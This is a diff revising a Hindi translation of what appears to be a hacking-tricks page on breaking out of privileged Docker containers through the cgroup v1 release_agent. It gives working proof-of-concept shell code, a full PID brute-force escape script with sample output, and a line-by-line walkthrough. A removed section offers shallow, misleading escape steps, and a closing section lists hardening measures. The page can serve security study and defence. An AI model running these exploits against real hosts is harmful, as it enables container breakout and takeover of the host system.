अपनी हैकिंग ट्रिक्स शेयर करें।
-# `--privileged` फ़्लैग +# `--privileged` फ्लैग -{% code title="प्रारंभिक PoC" %} +{% code title="Initial PoC" %} ```bash # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -31,7 +29,9 @@ echo "#!/bin/sh $1 >$t/o" >/c; chmod +x /c; sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o ``` -{% code title="दूसरा प्रमाण" %} +{% endcode %} + +{% code title="दूसरा PoC" %} ```bash # On the host docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu bash @@ -59,34 +59,34 @@ head /output ``` {% endcode %} -`--privileged` फ्लैग में बड़ी सुरक्षा समस्याओं को प्रस्तुत करता है, और इस उपयोग का उपयोग करने के लिए एक डॉकर कंटेनर शुरू करने की आवश्यकता होती है। इस फ्लैग का उपयोग करते समय, कंटेनरों को सभी उपकरणों तक पूर्ण पहुंच होती है और उन्हें seccomp, AppArmor और Linux capabilities की प्रतिबंधन से वंचित कर दिया जाता है। +`--privileged` झंडा महत्वपूर्ण सुरक्षा चिंताओं को पेश करता है, और यह शोषण इसे सक्षम करके एक docker कंटेनर लॉन्च करने पर निर्भर करता है। इस झंडे का उपयोग करते समय, कंटेनर्स को सभी उपकरणों तक पूर्ण पहुँच होती है और seccomp, AppArmor, और Linux क्षमताओं से प्रतिबंध नहीं होते हैं। -वास्तव में, `--privileged` इस तरीके के माध्यम से एक डॉकर कंटेनर से बाहर निकलने के लिए आवश्यक से अधिक अनुमतियां प्रदान करता है। वास्तव में, "केवल" आवश्यकताएं हैं: +वास्तव में, `--privileged` इस विधि के माध्यम से एक docker कंटेनर से बचने के लिए आवश्यक से कहीं अधिक अनुमतियाँ प्रदान करता है। वास्तविकता में, "केवल" आवश्यकताएँ हैं: -1. हमें कंटेनर के अंदर रूट के रूप में चल रहे होना चाहिए -2. कंटेनर को `SYS_ADMIN` Linux capability के साथ चलाया जाना चाहिए -3. कंटेनर को AppArmor प्रोफ़ाइल की कमी होनी चाहिए, या फिर `mount` syscall की अनुमति देनी चाहिए -4. cgroup v1 वर्चुअल फ़ाइलसिस्टम को कंटेनर के अंदर read-write माउंट किया जाना चाहिए +1. हमें कंटेनर के अंदर रूट के रूप में चलना चाहिए +2. कंटेनर को `SYS_ADMIN` Linux क्षमता के साथ चलाया जाना चाहिए +3. कंटेनर में AppArmor प्रोफ़ाइल की कमी होनी चाहिए, या अन्यथा `mount` syscall की अनुमति देनी चाहिए +4. cgroup v1 वर्चुअल फाइल सिस्टम को कंटेनर के अंदर पढ़ने-लिखने के लिए माउंट किया जाना चाहिए -`SYS_ADMIN` capability एक कंटेनर को mount syscall को करने की अनुमति देती है (देखें [man 7 capabilities](https://linux.die.net/man/7/capabilities))। [डॉकर डिफ़ॉल्ट रूप से सीमित संख्या की capabilities के साथ कंटेनर शुरू करता है](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) और `SYS_ADMIN` capability को सक्षम नहीं करता है क्योंकि इसके सुरक्षा जोखिमों के कारण। +`SYS_ADMIN` क्षमता एक कंटेनर को mount syscall करने की अनुमति देती है \(देखें [man 7 capabilities](https://linux.die.net/man/7/capabilities)\). [Docker डिफ़ॉल्ट रूप से कंटेनर्स को सीमित क्षमताओं के साथ शुरू करता है](https://docs.docker.com/engine/security/security/#linux-kernel-capabilities) और `SYS_ADMIN` क्षमता को सक्षम नहीं करता है क्योंकि ऐसा करने के सुरक्षा जोखिम होते हैं। -इसके अलावा, डॉकर [डिफ़ॉल्ट रूप से `docker-default` AppArmor पॉलिसी के साथ कंटेनर शुरू करता है](https://docs.docker.com/engine/security/apparmor/#understand-the-policies), जो [mount syscall का उपयोग करने से रोकता है](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) जबकि कंटेनर `SYS_ADMIN` के साथ चलाया जाता है। +इसके अलावा, Docker [डिफ़ॉल्ट रूप से कंटेनर्स को `docker-default` AppArmor](https://docs.docker.com/engine/security/apparmor/#understand-the-policies) नीति के साथ शुरू करता है, जो [mount syscall के उपयोग को रोकता है](https://github.com/docker/docker-ce/blob/v18.09.8/components/engine/profiles/apparmor/template.go#L35) यहाँ तक कि जब कंटेनर `SYS_ADMIN` के साथ चलाया जाता है। -यदि कंटेनर को निम्नलिखित फ्लैग के साथ चलाया जाता है, तो यह तकनीक के प्रति संक्रमित हो सकता है: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` +एक कंटेनर इस तकनीक के लिए संवेदनशील होगा यदि इसे झंडों के साथ चलाया जाता है: `--security-opt apparmor=unconfined --cap-add=SYS_ADMIN` -## प्रूफ ऑफ कॉन्सेप्ट को विचारशील बनाना +## प्रमाण के संकल्पना को तोड़ना -अब जब हमें इस तकनीक का उपयोग करने की आवश्यकताएं समझ में आ गई हैं और हमने प्रूफ ऑफ कॉन्सेप्ट धोखाधड़ी को संशोधित किया है, चलो इसे पंक्ति-पंक्ति में विवरण देते हैं ताकि हम देख सकें कि यह कैसे काम करता है। +अब जब हम इस तकनीक का उपयोग करने के लिए आवश्यकताओं को समझते हैं और प्रमाण के संकल्पना शोषण को परिष्कृत कर चुके हैं, आइए इसे लाइन-दर-लाइन चलकर देखें कि यह कैसे काम करता है। -इस धोखाधड़ी को ट्रिगर करने के लिए हमें एक cgroup चाहिए जहां हम `release_agent` फ़ाइल बना सकते हैं और सभी प्रक्रियाओं को मारकर `release_agent` को आह्वानित कर सकते हैं। इसे प्राप्त करने का सबसे आसान तरीका एक cgroup नियंत्रक माउंट करना है और एक बच्चा cgroup बनाना है। +इस शोषण को ट्रिगर करने के लिए हमें एक cgroup की आवश्यकता है जहाँ हम एक `release_agent` फ़ाइल बना सकते हैं और cgroup में सभी प्रक्रियाओं को मारकर `release_agent` आह्वान को ट्रिगर कर सकते हैं। ऐसा करने का सबसे आसान तरीका है कि एक cgroup कंट्रोलर को माउंट करें और एक बाल cgroup बनाएं। -इसके लिए, हम एक `/tmp/cgrp` निर्देशिका बनाते हैं, [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup नियंत्रक माउंट करते हैं और एक बच्चा cgroup बनाते हैं (इस उदाहरण के लिए "x" नामित)। हालांकि हर cgroup नियंत्रक का परीक्षण नहीं किया गया है, इस तकनीक का उपयोग बहुमत cgroup नियंत्रकों के साथ काम करना चाहिए। +इसके लिए, हम एक `/tmp/cgrp` निर्देशिका बनाते हैं, [RDMA](https://www.kernel.org/doc/Documentation/cgroup-v1/rdma.txt) cgroup कंट्रोलर को माउंट करते हैं और एक बाल cgroup \(नाम “x” इस उदाहरण के उद्देश्यों के लिए\) बनाते हैं। हर cgroup कंट्रोलर का परीक्षण नहीं किया गया है, लेकिन यह तकनीक अधिकांश cgroup कंट्रोलर्स के साथ काम करनी चाहिए। -यदि आप इसका पालन कर रहे हैं और "mount: /tmp/cgrp: special device cgroup does not exist" मिलता है, तो इसका कारण है कि आपके सेटअप में RDMA cgroup नियंत्रक नहीं है। इसे ठीक करने के लिए `rdma` को `memory` में बदलें। हम RDMA का उपयोग कर रहे हैं क्योंकि मूल PoC केवल इसके साथ काम करने के लिए डिज़ाइन किया गया था। +यदि आप साथ चल रहे हैं और "mount: /tmp/cgrp: special device cgroup does not exist" प्राप्त करते हैं, तो यह इसलिए है क्योंकि आपकी सेटअप में RDMA cgroup कंट्रोलर नहीं है। इसे ठीक करने के लिए `rdma` को `memory` में बदलें। हम RDMA का उपयोग कर रहे हैं क्योंकि मूल PoC केवल इसके साथ काम करने के लिए डिज़ाइन किया गया था। -ध्यान दें कि cgroup नियंत्रक वैश्विक संसाधन हैं जो विभिन्न अनुमतियों के साथ कई बार माउंट किए जा सकते हैं और एक माउंट में किए गए परिवर्तन दूसरे माउंट पर लागू होंगे। +ध्यान दें कि cgroup कंट्रोलर्स वैश्विक संसाधन हैं जिन्हें विभिन्न अनुमतियों के साथ कई बार माउंट किया जा सकता है और एक माउंट में किए गए परिवर्तन दूसरे माउंट पर लागू होंगे। -हम नीचे "x" बच्चा cgroup के निर्माण और उसकी निर्देशिका सूची देख सकते हैं। +हम नीचे “x” बाल cgroup निर्माण और इसकी निर्देशिका सूची देख सकते हैं। ```text root@b11cf9eab4fd:/# mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x root@b11cf9eab4fd:/# ls /tmp/cgrp/ @@ -94,22 +94,22 @@ cgroup.clone_children cgroup.procs cgroup.sane_behavior notify_on_release re root@b11cf9eab4fd:/# ls /tmp/cgrp/x cgroup.clone_children cgroup.procs notify_on_release rdma.current rdma.max tasks ``` -अगले, हम "x" सीग्रुप के रिलीज़ होने पर `notify_on_release` फ़ाइल में 1 लिखकर cgroup अधिसूचनाएं सक्षम करते हैं। हम भी RDMA cgroup रिलीज़ एजेंट को सेट करते हैं ताकि यह `/cmd` स्क्रिप्ट को निष्पादित कर सके - जिसे हम बाद में कंटेनर में बनाएंगे - होस्ट पर `release_agent` फ़ाइल में होस्ट पर `/cmd` स्क्रिप्ट पथ लिखकर। इसके लिए, हम कंटेनर के पथ को `/etc/mtab` फ़ाइल से होस्ट पर प्राप्त करेंगे। +आगे, हम "x" cgroup के रिलीज़ पर cgroup नोटिफिकेशन्स को सक्षम करते हैं उसकी `notify_on_release` फ़ाइल में 1 लिखकर। हम RDMA cgroup रिलीज़ एजेंट को भी सेट करते हैं ताकि वह `/cmd` स्क्रिप्ट को एक्जीक्यूट करे — जिसे हम बाद में कंटेनर में बनाएंगे — होस्ट पर `/cmd` स्क्रिप्ट पथ को `release_agent` फ़ाइल में लिखकर। इसे करने के लिए, हम कंटेनर का पथ होस्ट पर `/etc/mtab` फ़ाइल से प्राप्त करेंगे। -हम कंटेनर में जो फ़ाइलें जोड़ते हैं या संशोधित करते हैं, वे होस्ट पर मौजूद होती हैं, और इन्हें दोनों दुनियों से संशोधित किया जा सकता है: कंटेनर में पथ और होस्ट पर उनका पथ। +कंटेनर में हम जो फ़ाइलें जोड़ते हैं या संशोधित करते हैं, वे होस्ट पर मौजूद होती हैं, और दोनों दुनिया से उन्हें संशोधित करना संभव है: कंटेनर में पथ और होस्ट पर उनका पथ। -इन ऑपरेशन्स को नीचे देखा जा सकता है: +नीचे दिए गए ऑपरेशन्स को देखा जा सकता है: ```text root@b11cf9eab4fd:/# echo 1 > /tmp/cgrp/x/notify_on_release root@b11cf9eab4fd:/# host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` root@b11cf9eab4fd:/# echo "$host_path/cmd" > /tmp/cgrp/release_agent ``` -नोट करें `/cmd` स्क्रिप्ट के पथ को, जिसे हम होस्ट पर बनाने जा रहे हैं: +ध्यान दें `/cmd` स्क्रिप्ट के पथ पर, जिसे हम होस्ट पर बनाने वाले हैं: ```text root@b11cf9eab4fd:/# cat /tmp/cgrp/release_agent /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/cmd ``` -अब, हम `/cmd` स्क्रिप्ट बनाते हैं जिसके द्वारा यह `ps aux` कमांड को निष्पादित करेगा और इसका आउटपुट `/output` में संग्रहीत करेगा, होस्ट पर आउटपुट फ़ाइल के पूर्ण पथ को निर्दिष्ट करके। अंत में, हम भी `/cmd` स्क्रिप्ट को प्रिंट करते हैं ताकि हम इसकी सामग्री देख सकें: +अब, हम `/cmd` स्क्रिप्ट ऐसे बनाते हैं जिससे यह `ps aux` कमांड को एक्जीक्यूट करेगा और इसके आउटपुट को होस्ट पर आउटपुट फाइल के पूर्ण पथ को निर्दिष्ट करते हुए कंटेनर के `/output` में सेव करेगा। अंत में, हम `/cmd` स्क्रिप्ट को प्रिंट भी करते हैं ताकि इसकी सामग्री देख सकें: ```text root@b11cf9eab4fd:/# echo '#!/bin/sh' > /cmd root@b11cf9eab4fd:/# echo "ps aux > $host_path/output" >> /cmd @@ -118,7 +118,7 @@ root@b11cf9eab4fd:/# cat /cmd #!/bin/sh ps aux > /var/lib/docker/overlay2/7f4175c90af7c54c878ffc6726dcb125c416198a2955c70e186bf6a127c5622f/diff/output ``` -अंत में, हम एक प्रक्रिया उत्पन्न करके हमला को क्रियान्वित कर सकते हैं जो "x" बाल बच्चा समूह के अंदर तत्काल खत्म हो जाती है। "/bin/sh" प्रक्रिया बनाकर और इसका पीआईडी "x" बाल बच्चा समूह निर्देशिका में `cgroup.procs` फ़ाइल में लिखकर, मेजबान पर स्क्रिप्ट `/bin/sh` के बाद निष्पादित होगी। मेजबान पर किए गए `ps aux` के आउटपुट को फिर `/output` फ़ाइल में कंटेनर के अंदर सहेजा जाता है: +अंत में, हम "x" चाइल्ड cgroup के अंदर तुरंत समाप्त होने वाली प्रक्रिया को उत्पन्न करके हमला कर सकते हैं। `/bin/sh` प्रक्रिया बनाकर और उसके PID को "x" चाइल्ड cgroup डायरेक्टरी में `cgroup.procs` फाइल में लिखकर, `/bin/sh` के बाहर निकलने के बाद होस्ट पर स्क्रिप्ट निष्पादित होगी। होस्ट पर किया गया `ps aux` का आउटपुट फिर कंटेनर के अंदर `/output` फाइल में सहेजा जाता है: ```text root@b11cf9eab4fd:/# sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" root@b11cf9eab4fd:/# head /output @@ -135,33 +135,31 @@ root 11 0.0 0.0 0 0 ? S 13:57 0:00 [migration/0] ``` # `--privileged` फ्लैग v2 -पिछले PoCs काम करते हैं जब कंटेनर को संग्रह ड्राइवर के साथ कॉन्फ़िगर किया जाता है जो माउंट पॉइंट का पूरा होस्ट पथ उजागर करता है, उदाहरण के लिए `overlayfs`, हालांकि हाल ही में मुझे कुछ कॉन्फ़िगरेशन मिली जिनमें होस्ट फ़ाइल सिस्टम माउंट पॉइंट स्पष्ट रूप से उजागर नहीं होता था। +पिछले PoCs तब अच्छे से काम करते हैं जब कंटेनर को एक storage-driver के साथ कॉन्फ़िगर किया गया हो जो माउंट पॉइंट का पूरा होस्ट पथ प्रकट करता है, उदाहरण के लिए `overlayfs`, हालांकि हाल ही में मैं कुछ कॉन्फ़िगरेशन से मिला जो स्पष्ट रूप से होस्ट फाइल सिस्टम माउंट पॉइंट को प्रकट नहीं करते थे। -## काटा कंटेनर्स +## Kata Containers ```text root@container:~$ head -1 /etc/mtab kataShared on / type 9p (rw,dirsync,nodev,relatime,mmap,access=client,trans=virtio) ``` -[Kata Containers](https://katacontainers.io/) डिफ़ॉल्ट रूप से `9pfs` के माध्यम से कंटेनर की रूट फ़ाइल सिस्टम को माउंट करता है। इससे कटा कंटेनर वर्चुअल मशीन में कंटेनर फ़ाइल सिस्टम के स्थान के बारे में कोई जानकारी प्रकट नहीं होती है। +[Kata Containers](https://katacontainers.io/) मूल रूप से कंटेनर की रूट फाइल सिस्टम को `9pfs` के ऊपर माउंट करता है। यह Kata Containers वर्चुअल मशीन में कंटेनर फाइल सिस्टम के स्थान के बारे में कोई जानकारी प्रकट नहीं करता है। -\* कटा कंटेनर्स के बारे में अधिक जानकारी एक भविष्य के ब्लॉग पोस्ट में। +\* Kata Containers के बारे में अधिक जानकारी भविष्य के ब्लॉग पोस्ट में। -## डिवाइस मैपर +## Device Mapper ```text root@container:~$ head -1 /etc/mtab /dev/sdc / ext4 rw,relatime,stripe=384 0 0 ``` -मैंने एक लाइव पर्यावरण में इस रूट माउंट के साथ एक कंटेनर देखा, मुझे लगता है कि कंटेनर एक विशेष `devicemapper` स्टोरेज-ड्राइवर कॉन्फ़िगरेशन के साथ चल रहा था, लेकिन इस समय तक मुझे एक परीक्षण पर्यावरण में इस व्यवहार को पुनर्निर्माण करने में असमर्थता हुई है। - ## एक वैकल्पिक PoC -स्पष्ट है कि इन मामलों में कंटेनर फ़ाइलों के पथ की पहचान करने के लिए पर्याप्त जानकारी नहीं होती है, इसलिए फेलिक्स के PoC का उपयोग नहीं किया जा सकता है। हालांकि, हम थोड़ी तर्कशक्ति के साथ इस हमले को अभी भी कार्यान्वित कर सकते हैं। +स्पष्ट है कि इन मामलों में पर्याप्त जानकारी नहीं होती है कि होस्ट फाइल सिस्टम पर कंटेनर फाइलों का पथ पहचाना जा सके, इसलिए फेलिक्स का PoC जैसा है वैसा इस्तेमाल नहीं किया जा सकता। हालांकि, हम थोड़ी सूझबूझ के साथ यह हमला अभी भी अंजाम दे सकते हैं। -एकमात्र जरूरी जानकारी यह है कि कंटेनर में निर्मित करने के लिए, कंटेनर होस्ट के संबंध में एक फ़ाइल का पूरा पथ चाहिए। कंटेनर के भीतर माउंट पॉइंट्स से इसे पहचानने के बजाय, हमें अन्य स्थानों पर देखना होगा। +एक महत्वपूर्ण जानकारी जो आवश्यक है वह है कंटेनर होस्ट के सापेक्ष पूर्ण पथ, जिस फाइल को कंटेनर के भीतर निष्पादित करना है। कंटेनर के भीतर माउंट पॉइंट्स से इसे समझने में असमर्थ होने के कारण हमें और जगह देखना होगा। -### Proc की मदद +### प्रोक बचाव के लिए -लिनक्स `/proc` प्सेडो-फ़ाइलसिस्टम सभी प्रक्रियाओं के लिए कर्नल प्रक्रिया डेटा संरचनाएँ प्रदर्शित करता है, जो सिस्टम पर चल रही हैं, जिनमें से कुछ अलग नेमस्पेस में चल रही हैं, उदाहरण के लिए कंटेनर के भीतर। इसे कंटेनर में एक कमांड चलाकर और होस्ट पर प्रक्रिया के `/proc` निर्देशिका तक पहुँचकर दिखाया जा सकता है: कंटेनर +लिनक्स `/proc` प्स्यूडो-फाइलसिस्टम सिस्टम पर चल रही सभी प्रक्रियाओं के लिए कर्नेल प्रोसेस डेटा संरचनाओं को प्रकट करता है, जिनमें विभिन्न नेमस्पेस में चल रही प्रक्रियाएं भी शामिल हैं, उदाहरण के लिए एक कंटेनर के भीतर। इसे एक कंटेनर में कमांड चलाकर और होस्ट पर प्रोसेस की `/proc` डायरेक्टरी तक पहुंचकर दिखाया जा सकता है: ```bash root@container:~$ sleep 100 ``` @@ -185,15 +183,15 @@ lrwxrwxrwx 1 root root 0 Nov 19 10:29 root -> / -rw-r--r-- 1 root root 0 Nov 19 10:29 sched ... ``` -_एक बात कहूं, `/proc//root` डेटा संरचना एक ऐसी थी जिसने मुझे बहुत समय तक भ्रमित किया, मैं कभी समझ नहीं सका कि `/` के लिए एक प्रतीकी लिंक होना कितना उपयोगी हो सकता है, जब तक मैं मैन पेज में वास्तविक परिभाषण को नहीं पढ़ा:_ +_एक बात का जिक्र करना चाहूंगा, `/proc//root` डेटा संरचना एक ऐसी चीज है जिसने मुझे बहुत लंबे समय तक भ्रमित किया, मैं कभी नहीं समझ पाया कि `/` के लिए एक प्रतीकात्मक लिंक होना क्यों उपयोगी है, जब तक कि मैंने मैन पेजेस में इसकी वास्तविक परिभाषा नहीं पढ़ी:_ > /proc/\[pid\]/root > -> UNIX और Linux में प्रतिप्रोसेस फ़ाइलसिस्टम की एक प्रति-प्रक्रिया जड़ होने की समर्थन करते हैं, जिसे chroot\(2\) सिस्टम कॉल द्वारा सेट किया जाता है। यह फ़ाइल एक प्रतीकी लिंक है जो प्रक्रिया के रूट निर्देशिका को पॉइंट करता है, और exe और fd/\* की तरह व्यवहार करता है। +> UNIX और Linux में प्रत्येक प्रक्रिया के लिए फाइल सिस्टम की जड़ का विचार समर्थित है, जिसे chroot\(2\) सिस्टम कॉल द्वारा सेट किया जाता है। यह फाइल एक प्रतीकात्मक लिंक है जो प्रक्रिया की जड़ निर्देशिका की ओर इशारा करता है, और exe और fd/\* की तरह ही व्यवहार करता है। > -> हालांकि ध्यान दें कि यह फ़ाइल केवल एक प्रतीकी लिंक नहीं है। यह प्रक्रिया के रूप में वही फ़ाइलसिस्टम का दृश्य प्रदान करता है \(नेमस्पेस और प्रति-प्रक्रिया माउंट की सेट सहित\) जैसा कि प्रक्रिया खुद करती है। +> हालांकि, ध्यान दें कि यह फाइल केवल एक प्रतीकात्मक लिंक नहीं है। यह फाइल सिस्टम का वही दृश्य प्रदान करती है \(सहित नामस्थान और प्रत्येक प्रक्रिया के माउंट्स का सेट\) जैसा कि प्रक्रिया स्वयं। -`/proc//root` प्रतीकी लिंक को कंटेनर में किसी भी फ़ाइल के लिए होस्ट संबंधित पथ के रूप में उपयोग किया जा सकता है: कंटेनर +`/proc//root` प्रतीकात्मक लिंक का उपयोग किसी भी फाइल के लिए होस्ट सापेक्ष पथ के रूप में किया जा सकता है जो कि एक कंटेनर के भीतर है:Container ```bash root@container:~$ echo findme > /findme root@container:~$ sleep 100 @@ -203,34 +201,16 @@ root@container:~$ sleep 100 root@host:~$ cat /proc/`pidof sleep`/root/findme findme ``` -यह हमले के लिए आवश्यकता को बदल देता है, जहां कंटेनर में एक फ़ाइल के पूरे पथ को कंटेनर होस्ट के संबंध में जानने की आवश्यकता होती है, एक कंटेनर में चल रहे _किसी भी_ प्रक्रिया के pid को जानने की आवश्यकता होती है। +इससे हमले की आवश्यकता बदल जाती है, जिसमें कंटेनर के होस्ट के सापेक्ष पूर्ण पथ को जानने की बजाय, कंटेनर में चल रही _किसी भी_ प्रक्रिया की pid को जानना पर्याप्त होता है। ### Pid Bashing -यह वास्तव में आसान है, लिनक्स में प्रक्रिया आईडी संख्यात्मक होते हैं और यह अवरोही आईडी संख्याओं के साथ सौभाग्य से संबंधित होते हैं। `init` प्रक्रिया को प्रक्रिया आईडी `1` के रूप में सौंपा जाता है और सभी आगामी प्रक्रियाओं को आवरोही आईडी संख्याओं के रूप में सौंपा जाता है। कंटेनर में एक प्रक्रिया के होस्ट प्रक्रिया आईडी की पहचान करने के लिए, एक ब्रूट फ़ोर्स आवरोही खोज का उपयोग किया जा सकता है: कंटेनर +यह वास्तव में आसान हिस्सा है, Linux में प्रक्रिया आईडी संख्यात्मक होती है और क्रमिक रूप से असाइन की जाती है। `init` प्रक्रिया को प्रक्रिया आईडी `1` असाइन की जाती है और सभी बाद की प्रक्रियाओं को वृद्धिशील आईडी दी जाती है। कंटेनर के अंदर की प्रक्रिया की होस्ट प्रक्रिया आईडी की पहचान करने के लिए, एक ब्रूट फोर्स वृद्धिशील खोज का उपयोग किया जा सकता है: ```text root@container:~$ echo findme > /findme root@container:~$ sleep 100 ``` -# डॉकर कंटेनर से बाहर निकलना - -जब आप एक डॉकर कंटेनर में हैं और आपको उच्चतम अधिकार प्राप्त करने की आवश्यकता होती है, तो आप निम्नलिखित तकनीकों का उपयोग करके डॉकर कंटेनर से बाहर निकल सकते हैं: - -## 1. डॉकर कंटेनर के अंदर रूट अधिकार प्राप्त करना - -यदि आपको डॉकर कंटेनर के अंदर रूट अधिकार प्राप्त करने की आवश्यकता है, तो आप निम्नलिखित चरणों का पालन कर सकते हैं: - -1. डॉकर कंटेनर को चलाएं: `docker run -it --privileged ` -2. अब आप डॉकर कंटेनर के अंदर होंगे। यहां आप `root` उपयोगकर्ता के रूप में लॉगिन कर सकते हैं। - -## 2. डॉकर कंटेनर से बाहर निकलने के लिए डॉकर सॉकेट का उपयोग करना - -यदि आपको डॉकर कंटेनर से बाहर निकलने की आवश्यकता है, तो आप निम्नलिखित चरणों का पालन कर सकते हैं: - -1. डॉकर सॉकेट के साथ एक नया डॉकर कंटेनर चलाएं: `docker run -v /var/run/docker.sock:/var/run/docker.sock -it ` -2. अब आप डॉकर कंटेनर के अंदर होंगे और आपको डॉकर कंटेनर के बाहरी डॉकर डेमन के साथ संपर्क स्थापित करने की अनुमति मिलेगी। - -इन तकनीकों का उपयोग करके आप डॉकर कंटेनर से बाहर निकल सकते हैं और उच्चतम अधिकार प्राप्त कर सकते हैं। +मेज़बान ```bash root@host:~$ COUNTER=1 root@host:~$ while [ ! -f /proc/${COUNTER}/root/findme ]; do COUNTER=$((${COUNTER} + 1)); done @@ -239,13 +219,13 @@ root@host:~$ echo ${COUNTER} root@host:~$ cat /proc/${COUNTER}/root/findme findme ``` -### सब कुछ मिलाकर रखना +### सभी चीजों को एक साथ रखते हुए -इस हमले को पूरा करने के लिए brute force तकनीक का उपयोग किया जा सकता है ताकि `/proc//root/payload.sh` पथ के लिए pid को अनुमान लगाया जा सके, प्रत्येक अवधि में अनुमानित pid पथ को cgroups `release_agent` फ़ाइल में लिखा जाए, `release_agent` को ट्रिगर किया जाए, और देखें कि क्या एक आउटपुट फ़ाइल बनाई जाती है। +इस हमले को पूरा करने के लिए ब्रूट फोर्स तकनीक का उपयोग करके `/proc//root/payload.sh` पथ के लिए pid का अनुमान लगाया जा सकता है, प्रत्येक पुनरावृत्ति में अनुमानित pid पथ को cgroups `release_agent` फ़ाइल में लिखा जाता है, `release_agent` को ट्रिगर किया जाता है, और देखा जाता है कि क्या कोई आउटपुट फ़ाइल बनाई गई है। -इस तकनीक के साथ एकमात्र सावधानी यह है कि यह किसी भी तरीके से छिपा हुआ नहीं है, और pid गिनती को बहुत ऊँचा कर सकता है। क्योंकि कोई लंबे समय तक चलने वाली प्रक्रियाएं चलाई नहीं जाती हैं, इसलिए यह संभावित रूप से सुरक्षितता समस्याओं का कारण नहीं बनेगा, लेकिन इस पर मेरे वचन पर विश्वास न करें। +इस तकनीक के साथ एकमात्र सावधानी यह है कि यह किसी भी तरह से सूक्ष्म नहीं है, और pid की गिनती को बहुत अधिक बढ़ा सकता है। चूंकि कोई भी लंबे समय तक चलने वाली प्रक्रियाएं चलाई नहीं जाती हैं, इसलिए इसे _चाहिए_ कि विश्वसनीयता के मुद्दे पैदा नहीं होंगे, लेकिन इस पर मेरे शब्दों को उद्धृत न करें। -नीचे दिए गए PoC में इन तकनीकों का अमल किया गया है ताकि cgroups `release_agent` की कार्यक्षमता का उपयोग करके एक विशेषज्ञता वाले कंटेनर से बाहर निकलने के लिए पहले Felix के मूल PoC से अधिक सामान्य हमला प्रदान किया जा सके: +नीचे दिया गया PoC इन तकनीकों को लागू करता है ताकि Felix के मूल PoC में पहली बार प्रस्तुत की गई तुलना में एक अधिक सामान्य हमला प्रदान किया जा सके, जो कि cgroups `release_agent` कार्यक्षमता का उपयोग करके एक विशेषाधिकार प्राप्त कंटेनर से बचने के लिए है: ```bash #!/bin/sh @@ -305,7 +285,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` -एक प्रिविलेज्ड कंटेनर के भीतर PoC को निष्पादित करने से आउटपुट इसके समान होना चाहिए: +निष्पादित किए गए PoC को एक विशेषाधिकार प्राप्त कंटेनर के भीतर से निम्नलिखित जैसा आउटपुट प्रदान करना चाहिए: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -333,20 +313,20 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -# सुरक्षित ढंग से कंटेनर का उपयोग करें +# कंटेनरों को सुरक्षित रूप से उपयोग करें -डॉकर डिफ़ॉल्ट रूप से कंटेनरों को प्रतिबंधित और सीमित करता है। इन प्रतिबंधनों को कम करना सुरक्षा समस्याओं को उत्पन्न कर सकता है, यहां तक कि `--privileged` फ़्लैग की पूरी शक्ति के बिना भी। प्रत्येक अतिरिक्त अनुमति के प्रभाव को स्वीकार करना महत्वपूर्ण है, और सामान्य रूप से अवश्यकता के न्यूनतम अनुमतियों को सीमित करें। +Docker डिफ़ॉल्ट रूप से कंटेनरों को प्रतिबंधित और सीमित करता है। इन प्रतिबंधों को ढीला करने से सुरक्षा मुद्दे पैदा हो सकते हैं, भले ही `--privileged` फ्लैग की पूरी शक्ति के बिना। प्रत्येक अतिरिक्त अनुमति के प्रभाव को स्वीकार करना और कुल मिलाकर अनुमतियों को न्यूनतम आवश्यकता तक सीमित करना महत्वपूर्ण है। -कंटेनरों को सुरक्षित रखने के लिए निम्नलिखित कार्रवाईयाँ करें: +कंटेनरों को सुरक्षित रखने के लिए: -* `--privileged` फ़्लैग का उपयोग न करें और कंटेनर के अंदर [डॉकर सॉकेट माउंट](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/) न करें। डॉकर सॉकेट कंटेनर को उत्पन्न करने की अनुमति देता है, इसलिए यह `--privileged` फ़्लैग के साथ एक और कंटेनर चलाने का आसान तरीका है। -* कंटेनर के अंदर रूट के रूप में न चलाएं। [एक अलग उपयोगकर्ता](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) या [उपयोगकर्ता नेमस्पेस](https://docs.docker.com/engine/security/userns-remap/) का उपयोग करें। कंटेनर में रूट होस्ट के समान होता है जब तक उपयोगकर्ता नेमस्पेस के साथ पुनर्मापित नहीं किया जाता है। यह मुख्य रूप से लिनक्स नेमस्पेस, क्षमताएँ और सीग्रुप्स द्वारा हल्के से प्रतिबंधित होता है। -* [सभी क्षमताएँ छोड़ दें](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) \(`--cap-drop=all`\) और केवल वे क्षमताएँ सक्षम करें जो आवश्यक हों \(`--cap-add=...`\). बहुत सारे कार्यदायी क्षमताएँ की आवश्यकता नहीं होती है और इन्हें जोड़ने से एक संभावित हमले के दायरे में वृद्धि होती है। -* [“no-new-privileges” सुरक्षा विकल्प का उपयोग करें](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) ताकि प्रक्रियाएं अधिक विशेषाधिकार प्राप्त न करें, उदाहरण के लिए suid बाइनरी के माध्यम से। -* कंटेनर के लिए [संसाधनों की सीमा निर्धारित करें](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)। संसाधन सीमाएं विवरण सेवा हमलों से मशीन की सुरक्षा कर सकती हैं। -* [सेकॉम्प](https://docs.docker.com/engine/security/seccomp/), [AppArmor](https://docs.docker.com/engine/security/apparmor/) \(या SELinux\) प्रोफ़ाइल को सीमित करें ताकि कंटेनर के लिए उपलब्ध क्रियाएँ और 